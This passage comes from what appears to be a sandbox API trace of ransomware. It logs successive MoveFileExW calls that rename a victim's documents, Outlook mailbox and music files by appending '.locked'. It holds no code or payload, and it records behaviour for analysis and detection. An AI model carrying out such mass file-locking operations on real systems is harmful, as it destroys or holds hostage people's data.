HALPmcxz\\Documents\\8WtNfwAq- Pu A\\WV8iithj0IyrJz8d.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\wv8iithj0iyrjz8d.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\WV8iithj0IyrJz8d.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\wv8iithj0iyrjz8d.xlsx.locked"), dwFlags=0x2) returned 1 [0169.170] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\72hyA7d.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\72hya7d.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\72hyA7d.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\72hya7d.xlsx.locked"), dwFlags=0x2) returned 1 [0169.243] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\7_h3yUBRa.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\7_h3yubra.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\7_h3yUBRa.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\7_h3yubra.xlsx.locked"), dwFlags=0x2) returned 1 [0169.251] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\9FjnTCVuZNn69.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\9fjntcvuznn69.ppt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\9FjnTCVuZNn69.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\9fjntcvuznn69.ppt.locked"), dwFlags=0x2) returned 1 [0169.345] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\EmeBJUCn-PTlzmf_.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\emebjucn-ptlzmf_.ppt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\EmeBJUCn-PTlzmf_.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\emebjucn-ptlzmf_.ppt.locked"), dwFlags=0x2) returned 1 [0169.436] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\DYKUKYkHp6xO3vl.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\dykukykhp6xo3vl.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\DYKUKYkHp6xO3vl.csv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\dykukykhp6xo3vl.csv.locked"), dwFlags=0x2) returned 1 [0169.501] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\kMmZFzDFDzquSDZdi.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\kmmzfzdfdzqusdzdi.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\kMmZFzDFDzquSDZdi.csv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\kmmzfzdfdzqusdzdi.csv.locked"), dwFlags=0x2) returned 1 [0169.592] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\MxTDWACw T.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\mxtdwacw t.pps"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\MxTDWACw T.pps.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\mxtdwacw t.pps.locked"), dwFlags=0x2) returned 1 [0169.688] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\uWL4KDFdwz4c.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\uwl4kdfdwz4c.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\uWL4KDFdwz4c.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\uwl4kdfdwz4c.ots.locked"), dwFlags=0x2) returned 1 [0169.756] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\vRMPxsQlLoNBAvWU4KI-.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\vrmpxsqllonbavwu4ki-.ppt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\G9Tw4HfU8JeuKj\\vRMPxsQlLoNBAvWU4KI-.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\g9tw4hfu8jeukj\\vrmpxsqllonbavwu4ki-.ppt.locked"), dwFlags=0x2) returned 1 [0169.790] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\Gh3fvYyCp09XNT2tx.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\gh3fvyycp09xnt2tx.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\Gh3fvYyCp09XNT2tx.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\gh3fvyycp09xnt2tx.docx.locked"), dwFlags=0x2) returned 1 [0169.847] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\hyxG.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\hyxg.odt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\XSwcbjNmgOYF0\\f9Ro\\hyxG.odt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\xswcbjnmgoyf0\\f9ro\\hyxg.odt.locked"), dwFlags=0x2) returned 1 [0169.939] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9caxBa_itOepVnBO5BQS.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9caxba_itoepvnbo5bqs.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9caxBa_itOepVnBO5BQS.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9caxba_itoepvnbo5bqs.pptx.locked"), dwFlags=0x2) returned 1 [0169.987] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BTQmhGR8 ccI.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\btqmhgr8 cci.odp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BTQmhGR8 ccI.odp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\btqmhgr8 cci.odp.locked"), dwFlags=0x2) returned 1 [0169.998] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DIfxs6syP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\difxs6syp.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DIfxs6syP.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\difxs6syp.docx.locked"), dwFlags=0x2) returned 1 [0170.075] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\eC-vZCp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ec-vzcp.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\eC-vZCp.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ec-vzcp.xlsx.locked"), dwFlags=0x2) returned 1 [0170.152] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\faZ 9.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\faz 9.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\faZ 9.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\faz 9.docx.locked"), dwFlags=0x2) returned 1 [0170.210] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G4I3O-uhUX7wWo.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g4i3o-uhux7wwo.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G4I3O-uhUX7wWo.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g4i3o-uhux7wwo.pptx.locked"), dwFlags=0x2) returned 1 [0170.288] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kH5dESthr-3Ve.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kh5desthr-3ve.ppt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kH5dESthr-3Ve.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kh5desthr-3ve.ppt.locked"), dwFlags=0x2) returned 1 [0170.306] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KQycSiLrEDF.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kqycsilredf.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KQycSiLrEDF.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kqycsilredf.xlsx.locked"), dwFlags=0x2) returned 1 [0170.339] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l1Wqst.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l1wqst.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l1Wqst.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l1wqst.xlsx.locked"), dwFlags=0x2) returned 1 [0170.445] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m45 Nm7C1.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m45 nm7c1.pdf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m45 Nm7C1.pdf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m45 nm7c1.pdf.locked"), dwFlags=0x2) returned 1 [0170.495] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MlrIcOCw.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mlricocw.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MlrIcOCw.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mlricocw.xlsx.locked"), dwFlags=0x2) returned 1 [0170.620] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o9_9.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o9_9.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o9_9.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o9_9.docx.locked"), dwFlags=0x2) returned 1 [0171.134] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.locked"), dwFlags=0x2) returned 1 [0171.201] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RQMySpR5GG.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rqmyspr5gg.pdf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RQMySpR5GG.pdf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rqmyspr5gg.pdf.locked"), dwFlags=0x2) returned 1 [0171.265] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\50oglDi-0y2I-17X7.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\50ogldi-0y2i-17x7.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\50oglDi-0y2I-17X7.csv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\50ogldi-0y2i-17x7.csv.locked"), dwFlags=0x2) returned 1 [0171.341] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\DyF7B4pt5LutJeWii.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\dyf7b4pt5lutjewii.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\DyF7B4pt5LutJeWii.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\dyf7b4pt5lutjewii.ots.locked"), dwFlags=0x2) returned 1 [0171.433] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\gSy7-7S1.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\gsy7-7s1.doc"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\gSy7-7S1.doc.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\gsy7-7s1.doc.locked"), dwFlags=0x2) returned 1 [0171.459] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\Wg15jL1X6\\fVN9g-_S-UC8Axr.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\wg15jl1x6\\fvn9g-_s-uc8axr.rtf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\Wg15jL1X6\\fVN9g-_S-UC8Axr.rtf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\wg15jl1x6\\fvn9g-_s-uc8axr.rtf.locked"), dwFlags=0x2) returned 1 [0171.573] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\Wg15jL1X6\\Krs6sAhsTVtx.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\wg15jl1x6\\krs6sahstvtx.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\Wg15jL1X6\\Krs6sAhsTVtx.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\wg15jl1x6\\krs6sahstvtx.ots.locked"), dwFlags=0x2) returned 1 [0171.617] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\Wg15jL1X6\\MRTsXq4hI.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\wg15jl1x6\\mrtsxq4hi.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Rtat4Vqaaj\\Wg15jL1X6\\MRTsXq4hI.ods.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtat4vqaaj\\wg15jl1x6\\mrtsxq4hi.ods.locked"), dwFlags=0x2) returned 1 [0171.709] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uCMos.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ucmos.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uCMos.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ucmos.pptx.locked"), dwFlags=0x2) returned 1 [0171.755] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ucPA7owgYQS-h.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ucpa7owgyqs-h.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ucPA7owgYQS-h.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ucpa7owgyqs-h.xlsx.locked"), dwFlags=0x2) returned 1 [0171.854] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WWA R32jA q52pDjcv.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wwa r32ja q52pdjcv.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WWA R32jA q52pDjcv.csv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wwa r32ja q52pdjcv.csv.locked"), dwFlags=0x2) returned 1 [0171.983] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_A9hEer10kqGCvm3.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_a9heer10kqgcvm3.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_A9hEer10kqGCvm3.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_a9heer10kqgcvm3.docx.locked"), dwFlags=0x2) returned 1 [0172.161] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\1EmxYwrl1JPel4NAb6-c.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\1emxywrl1jpel4nab6-c.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\1EmxYwrl1JPel4NAb6-c.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\1emxywrl1jpel4nab6-c.m4a.locked"), dwFlags=0x2) returned 1 [0172.277] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\cft0NJ9PKV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\cft0nj9pkv.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\cft0NJ9PKV.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\cft0nj9pkv.mp3.locked"), dwFlags=0x2) returned 1 [0172.305] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\E49O9kVzGO3TLsisti.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\e49o9kvzgo3tlsisti.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\E49O9kVzGO3TLsisti.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\e49o9kvzgo3tlsisti.mp3.locked"), dwFlags=0x2) returned 1 [0172.397] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\ehF8iFP0A NDlx7MC.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\ehf8ifp0a ndlx7mc.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\ehF8iFP0A NDlx7MC.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\ehf8ifp0a ndlx7mc.m4a.locked"), dwFlags=0x2) returned 1 [0172.415] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\hV2WpJMCOXss.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\hv2wpjmcoxss.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\hV2WpJMCOXss.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\hv2wpjmcoxss.wav.locked"), dwFlags=0x2) returned 1 [0172.432] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\ICivo Rq7pTi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\icivo rq7pti.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\ICivo Rq7pTi.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\icivo rq7pti.m4a.locked"), dwFlags=0x2) returned 1 [0172.476] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\jDXystondOCvvWLrVG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\jdxystondocvvwlrvg.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\jDXystondOCvvWLrVG.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\jdxystondocvvwlrvg.mp3.locked"), dwFlags=0x2) returned 1 [0172.559] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\L7qZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\l7qz.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\L7qZ.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\l7qz.m4a.locked"), dwFlags=0x2) returned 1 [0172.694] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\qnS7CIuMaFCYI3.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\qns7ciumafcyi3.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\qnS7CIuMaFCYI3.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\qns7ciumafcyi3.mp3.locked"), dwFlags=0x2) returned 1 [0172.760] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\s2CacQU98D.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\s2cacqu98d.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\s2CacQU98D.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\s2cacqu98d.m4a.locked"), dwFlags=0x2) returned 1 [0172.772] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\T32OpPl_v_UP-.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\t32oppl_v_up-.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\T32OpPl_v_UP-.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\t32oppl_v_up-.mp3.locked"), dwFlags=0x2) returned 1 [0172.792] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\UaDC7E1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\uadc7e1.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\UaDC7E1.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\uadc7e1.m4a.locked"), dwFlags=0x2) returned 1 [0172.924] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\xNeOdi4Sd.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\xneodi4sd.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4KpRei\\xNeOdi4Sd.m4a.locked" (normalized: 